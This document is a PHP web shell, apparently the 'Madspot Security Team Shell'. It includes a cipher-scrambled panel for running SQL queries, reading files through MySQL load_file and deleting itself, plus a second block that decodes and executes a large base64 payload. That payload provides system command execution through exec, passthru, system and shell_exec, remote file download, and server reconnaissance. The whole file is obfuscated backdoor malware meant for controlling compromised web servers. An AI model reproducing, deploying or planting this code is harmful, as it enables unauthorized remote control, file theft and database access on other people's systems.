5ch2 "<br></f2rm><f2rm 2ns3bm4t='d.sf.p6.v1l35=\"q35ry\";d.sf.pa.v1l35=th4s.q35ry.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><t5xt1r51 n1m5='q35ry' styl5='w4dth:600%;h54ght:600px'>";
4f(!5mpty($_POST['pa']) && ($_POST['p6'] != 'l21df4l5'))
5ch2 htmlsp5c41lch1rs($_POST['pa']);
5ch2 "</t5xt1r51><br/><4np3t typ5=s3bm4t v1l35='Ex5c3t5'>";
5ch2 "</td></tr>";
}
5ch2 "</t1bl5></f2rm><br/>";
4f($_POST['typ5']=='mysql') {
$db->q35ry("SELECT 6 FROM mysql.3s5r WHERE c2nc1t(`3s5r`, '@', `h2st`) = USER() AND `F4l5_pr4v` = 'y'");
4f($db->f5tch())
5ch2 "<f2rm 2ns3bm4t='d.sf.p6.v1l35=\"l21df4l5\";d2c3m5nt.sf.pa.v1l35=th4s.f.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><sp1n>L21d f4l5</sp1n> <4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm>";
}
4f(@$_POST['p6'] == 'l21df4l5') {
$f4l5 = $db->l21dF4l5($_POST['pa']);
5ch2 '<pr5 cl1ss=ml6>'.htmlsp5c41lch1rs($f4l5['f4l5']).'</pr5>';
}
} 5ls5 {
5ch2 htmlsp5c41lch1rs($db->5rr2r());
}
5ch2 '</d4v>';
m1df22t5r();
}
f3nct42n m1ds5lfrm()
{
4f($_POST['p6'] == 'y5s')
4f(@3nl4nk(pr5g_r5pl1c5('!\(\d+\)\s.*!', '', __FILE__)))
d45('Sh5ll h1s b55n r5m2v5d');
5ls5
5ch2 '3nl4nk 5rr2r!';
4f($_POST['p6'] != 'y5s')
m1dh51d();
5ch2 "<d4v cl1ss=h51d5r><pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>";
5ch2 "
/^\
_.-`: / \ :'-._
,` : | | : '.
,` \,| |,/ '.
/ `-...-` \
: .'. :
| . ' . |
| ' . ' |
: '.' :
\ ,-'''-, /
`. /'| |'\ ,'
`._ ; | | ; _,'
`-.: | | :,-'
| |
| |
| |
| |
| |
";
5ch2 '<br>K4ll M5?<br><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'y5s\')">Y5s</1></d4v>';
m1dF22t5r();
}
4f( 5mpty($_POST['1']) )
4f(4ss5t($d5f13lt_1ct42n) && f3nct42n_5x4sts('m1d' . $d5f13lt_1ct42n))
$_POST['1'] = $d5f13lt_1ct42n;
5ls5
$_POST['1'] = 'F4l5sM1n';
4f( !5mpty($_POST['1']) && f3nct42n_5x4sts('m1d' . $_POST['1']) )
c1ll_3s5r_f3nc('m1d' . $_POST['1']);
5x4t;
?>
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $_F=__FILE__;$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmM25jdDQybiBtMWRFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQokZDJ3bj1AZzV0Y3dkKCk7DQo0Zigkc3lzPT0idzRuIikNCiRkMnduLj0nXFwnOw0KNWxzNQ0KJGQyd24uPScvJzsNCjRmKDRzczV0KCRfUE9TVFsncnRkMnduJ10pKQ0Kew0KJDNybCA9ICRfUE9TVFsncnRkMnduJ107DQokbjV3Zm4xbTUgPSAkZDJ3bi4gYjFzNW4xbTUoJDNybCk7DQokZjRsNSA9IGYycDVuICgkM3JsLCAicmIiKTsNCjRmICgkZjRsNSkgew0KICAkbjV3ZiA9IGYycDVuICgkbjV3Zm4xbTUsICJ3YiIpOw0KICA0ZiAoJG41d2YpDQogIHdoNGw1KCFmNTJmKCRmNGw1KSkgew0KICAgIGZ3cjR0NSgkbjV3ZiwgZnI1MWQoJGY0bDUsIDYwYXUgKiA4ICksIDYwYXUgKiA4ICk7DQogIH0NCiAgfQ0KDQo0ZiAoJGY0bDUpIHsNCiAgZmNsMnM1KCRmNGw1KTsNCn0NCjRmICgkbjV3Zikgew0KICBmY2wyczUoJG41d2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZjNuY3Q0Mm4gbTFkaDUxZCgpDQogew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQogDQokZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgICAgICAgIA0KICAgIA0KJDJuPSI8ZjJudCBjMmwycj0jMEYwPiBPTiA8L2YybnQ+IjsNCiQyZj0iPGYybnQgYzJsMnI9cjVkPiBPRkYgPC9mMm50PiI7DQokbjJuNT0iPGYybnQgYzJsMnI9IzBGMD4gTk9ORSA8L2YybnQ+IjsgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJykpDQogICAgJGMzcmw9JDJuOw0KNWxzNQ0KICAgICRjM3JsPSQyZjsNCjRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgJG15c3FsPSQybjsNCiA1bHM1DQogICAgJG15c3FsPSQyZjsgICAgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICRtc3NxbD0kMm47DQo1bHM1DQogICAkbXNzcWw9JDJmOyANCgkJDQo0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAkcGc9JDJuOw0KNWxzNQ0KICAgJHBnPSQyZjsgICAgCQkNCjRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICQycj0kMm47DQo1bHM1DQogICAkMnI9JDJmOw0KNGYoQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJykpDQogICRkNHNmM249QDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQo1bHM1DQokZDRzZjNuPSJBbGwgRjNuY3Q0Mm5zIEVuMWJsNSI7DQo0ZihANG40X2c1dCgnczFmNV9tMmQ1JykpDQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50PiI7DQo1bHM1DQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9IzBGMCA+T0ZGPC9mMm50PiI7DQo0ZihANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpDQokMnA1bl9iPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKTsNCiAgICA1bHM1DQogICQycDVuX2I9JG4ybjU7DQogICAgDQoNCjRmKEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSkNCiRzMWY1XzV4NT1ANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJyk7DQogICAgNWxzNQ0KJHMxZjVfNXg1PSRuMm41Ow0KNGYoQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKQ0KICAgJHMxZjVfNG5jbDNkNT1ANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJyk7IA0KNWxzNQ0KICRzMWY1XzRuY2wzZDU9JG4ybjU7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIA0Kew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQp9IDVsczUgDQp7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KJGRyNHY1cyA9ICIiOw0KZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQo0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCg0KDQoNCg0KDQogNWNoMiAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9Xb0MvL0RURCBYSFRNTCA2LjAgVHIxbnM0dDQybjFsLy9FTiIgImh0dHA6Ly93d3cud28uMnJnL1RSL3hodG1sNi9EVEQveGh0bWw2LXRyMW5zNHQ0Mm4xbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cud28uMnJnLzY5OTkveGh0bWwiPg0KPGg1MWQ+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCIgLz4NCjxsNG5rIGhyNWY9Imh0dHA6Ly93d3cubTFkc3AydC5uNXQvZjF2NGMybi40YzIiIHI1bD0iNGMybiIgdHlwNT0iNG0xZzUveC00YzJuIi8+DQo8dDR0bDU+TTFkc3AydCBTNWMzcjR0eSBUNTFtIFNoNWxsPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQo8IS0tDQoud2gybDUgew0KCWIxY2tncjIzbmQtYzJsMnI6ICNDQ0M7DQoJaDU0Z2h0OjEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJbTFyZzRuLXQycDogNjBweDsNCgltMXJnNG4tcjRnaHQ6IDYwcHg7DQoJbTFyZzRuLWw1ZnQ6IDYwcHg7DQp9DQouaDUxZDVyIHsNCgloNTRnaHQ6IDEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyOiA3cHggczJsNGQgI0NDQzsNCgljMmwycjogIzk5OTsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC1mMW00bHk6IFY1cmQxbjEsIEc1bjV2MSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwOw0KfQ0KLmg1MWQ1ciAxIHtjMmwycjojMEYwOyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTt9DQpzcDFuIHsNCglmMm50LXc1NGdodDogYjJsZDVyOw0KCWMybDJyOiAjRkZGOw0KfQ0KI201M25sNHN0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWMybDJyOiAjRkZGOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCgliMnJkNXItdDJwLXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1iMnR0Mm0tc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KCWg1NGdodDogMTN0MjsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC13NTRnaHQ6IGIybGQ7DQoJYjJyZDVyLXQycC13NGR0aDogMHB4Ow0KfQ0KICAud2gybDUgI201M25sNHN0IDNsIHsNCglwMWRkNG5nLXQycDogaXB4Ow0KCXAxZGQ0bmctcjRnaHQ6IGlweDsNCglwMWRkNG5nLWIydHQybTogN3B4Ow0KCXAxZGQ0bmctbDVmdDogYXB4Ow0KCXQ1eHQtMWw0Z246YzVudDVyOw0KCWw0c3Qtc3R5bDUtdHlwNTogbjJuNTsNCgltMXJnNG46IDBweDsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCBsNCB7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCWQ0c3BsMXk6IDRubDRuNTsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCAxIHsNCiAgICBmMm50LWYxbTRseTogMXI0MWwsIHMxbnMtczVyNGY7DQoJZjJudC1zNHo1OiA2dXB4Ow0KCXQ1eHQtZDVjMnIxdDQybjpuMm41Ow0KCWYybnQtdzU0Z2h0OiBiMmxkOw0KCWMybDJyOiAjZmZmOw0KCWNsNTFyOiBiMnRoOw0KCXc0ZHRoOiA2MDBweDsNCgltMXJnNG4tcjRnaHQ6IC1lcHg7DQoJcDFkZDRuZy10MnA6IG9weDsNCglwMWRkNG5nLXI0Z2h0OiA2aXB4Ow0KCXAxZGQ0bmctYjJ0dDJtOiBvcHg7DQoJcDFkZDRuZy1sNWZ0OiA2aXB4Ow0KCWIycmQ1ci1yNGdodC13NGR0aDogNnB4Ow0KCWIycmQ1ci1yNGdodC1zdHlsNTogczJsNGQ7DQoJYjJyZDVyLXI0Z2h0LWMybDJyOiAjRkZGOw0KfQ0KICAud2gybDUgI201M25sNHN0IDE6aDJ2NXIgew0KCWMybDJyOiAjMDAwOw0KCWIxY2tncjIzbmQ6ICNmZmY7DQp9DQoNCi5mMjJ0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCXc0ZHRoOiA2MDAlOw0KCXQ1eHQtMWw0Z246IGM1bnQ1cjsNCglmMm50LXM0ejU6IDZhcHg7DQoJYzJsMnI6ICNDQ0M7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCiAgICBiMnJkNXItYjJ0dDJtLXc0ZHRoOiA3cHg7DQogICAgYjJyZDVyLWIydHQybS1zdHlsNTogczJsNGQ7DQogICAgYjJyZDVyLXI0Z2h0LXN0eWw1OiBzMmw0ZDsNCiAgICBiMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KfSc7DQo0Zig0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pKQ0KIHsNCiAgICA1Y2gyICIuZjIydHQxYmw1IHsNCiAgICB3NGR0aDogbzAwcHg7DQogICAgZjJudC13NTRnaHQ6IGIybGQ7DQogICAgfSI7fQ0KICAgIDVsczUNCiAgICB7DQogICAgICAgNWNoMiAiLmYyMnR0MWJsNSB7DQogICAgdzRkdGg6IG8wMHB4Ow0KICAgIGYybnQtdzU0Z2h0OiBiMmxkOw0KICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOw0KICAgIH0NCiAgICAuZDRyIHsNCiAgICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOyAgDQogICAgfQ0KICAgICI7IA0KICAgIH0gICAgDQogNWNoMiAnLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30NCiAubTE0biAxe2MybDJyOiAjRkZGO30NCiAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOnI1ZDt9DQogLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQogLmI0ZzFyNTF7IHc0ZHRoOjk5JTsgaDU0Z2h0Om8wMHB4OyB9ICAgDQogIDwvc3R5bDU+DQoNCic7DQoNCjVjaDIgIjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX08L3NjcjRwdD4iOw0KDQogICAgDQoJNWNoMiAnDQo8L2g1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9IiMwMDAwMDAiICBsNWZ0bTFyZzRuPSIwIiB0MnBtMXJnNG49IjAiIG0xcmc0bnc0ZHRoPSIwIiBtMXJnNG5oNTRnaHQ9IjAiPg0KPGQ0diBjbDFzcz0id2gybDUiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0iZDRzcGwxeTpuMm41OyI+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+DQogIDxkNHYgY2wxc3M9Img1MWQ1ciI+PHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiICAxbDRnbj0ibDRmdCI+DQogIDx0cj4NCiAgICA8dGQgdzRkdGg9Im8lIj48c3Axbj5VbjFtNTo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5zM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApLic8L3RkPg0KICAgIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+VXM1cjo8L3NwMW4+PC90ZD4NCiAgICA8dGQ+Jy4gJDM0ZCAuICcgWyAnIC4gJDNzNXIgLiAnIF0gPHNwMW4+ICAgR3IyM3A6IDwvc3Axbj4nIC4gJGc0ZCAuICcgWyAnIC4gJGdyMjNwIC4gJyBdIDwvdGQ+DQogICAgPHRkIHc0ZHRoPSI2dSUiIHIyd3NwMW49IjgiPjw0bWcgMWx0PSIiIHNyYz0iZDF0MTo0bTFnNS9qcDVnO2IxczVldSwvOWovdUFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvYXdDRUFCRU1EUThOQ3hFUERnOFRFaEVWRzRzY0doZ1lHalVtS0I4clB6ZENRVHVvUER0RlRtTlVSVWw1U3pzOFZuWlhYbWRxYm9CdlE2TmVnb2xzZ21OdGJhc0JFaE1UR2hjMU14d2NNYXRIUEVkcjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxLy9BQUJFSUFJOEFqd01CRVFBQ0VRRURFUUgveEFHNEFBQUJCUUVCQVFFQkFRQUFBQUFBQUFBQUFRSURCQVVHQndnSkNnc1FBQUlCQXdNQ0JBTUZCUVFFQUFBQmZRRUNBd0FFRVFVU0lURkJCaE5SWVFjNGNSUXlnWkdoQ0NOQ3NjRVZVdEh3SkRONGMySUpDaFlYR0JrMUpTWW5LQ2txTkRVYU56Z2lPa05FUlVaSFNFbEtVNlJWVmxkWVdWcGpaR1ZtWmFocDFuTjBkWFpvNUhsZWd1U0ZoMjVJNFlxU2tpU1ZscDVZbVpxNDJlU2xwcTUycTFxeXM3UzZ0cjV1M2JyQ3c4VEZ4c2ZJeWNyUzA5VFY2dGZZYWRyaHUzUGtpNWJuZU9ucThmTHo5UFhhOS9qaStnRUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRMkxFUUFDQVFJRUJBTUVCd1VFQkFBQkFuY0FBUUlERVFRRklURUdFa0ZSQmFGeEV5SXlnUWdVUXBHaHNjRUpJek5TOEJWNGN0RUtGNFEwdVNYeEZ4Z1pHNFluS0NrcU5UWW9PRGtlUTBSRlJrZElTVXBUVkZWV1Y2aFpXbU5rWldabjFHbHFjb1I2ZG5kdTVYcUNndVNGaDI1STRZcVNraVNWbHA1WW1acTQyZVNscHE1MnExcXlzN1M2dHI1dTNickN3OFRGeHNmSXljclMwOVRWNnRmWWFkcjR1K1RsaTNmMmU1cnk4L1Q2OXZmdStmci9hZ0FNQXdFQUFoRURFUUEvQU9PdExKcmtGdGE2UldjZW5LWlZLNGdXdjdJL2ViZnBXYnIrUmg5MVhZUDdJSC9QYjlLWHQvSWY2bE43Rm1Qd3V6MkdNdUc1eEZaeXg0WFF0VnZJamJ3aWNqN3NzWi9NVlN4Y0MvMTJ6THE2bHRKZkxtWERWMHdtcEtlTGpKUFlZRUFIem5GVVVHYVArOGZ5MkFBc2Y5dS9sUUJJTGJQUW1nQkd0WkFNZ1pGQUVCR0RRQjVqMHlXU01QM1VaaXcxeWRXS1pqS3ZHTEhmYVROL2ZTbDdaR2Y2cUlEU1pqMFpjbWtlOFVOWW1MWllIaGE3SXozakh1NkR4Y0RUYXFBK0hic0FrTkdmMjExeFVHSHRVWmM4THdTR09RWVlWMFJrcEtlTkU3cWlzZVlBTEpDT2lPMWlLb3hIbnVsKy9ZdDZrY3dpT1dVNTlKN0RqM2JIUzNLV3JPeEpCVWo5VEc4UkluYWRYS2czQ0FEK041aGdtOVUxMGptWkQrOGJlNmVKM00yQWtoLzZxMEFYbGUwQVRMUUJRM3dFM2pnZD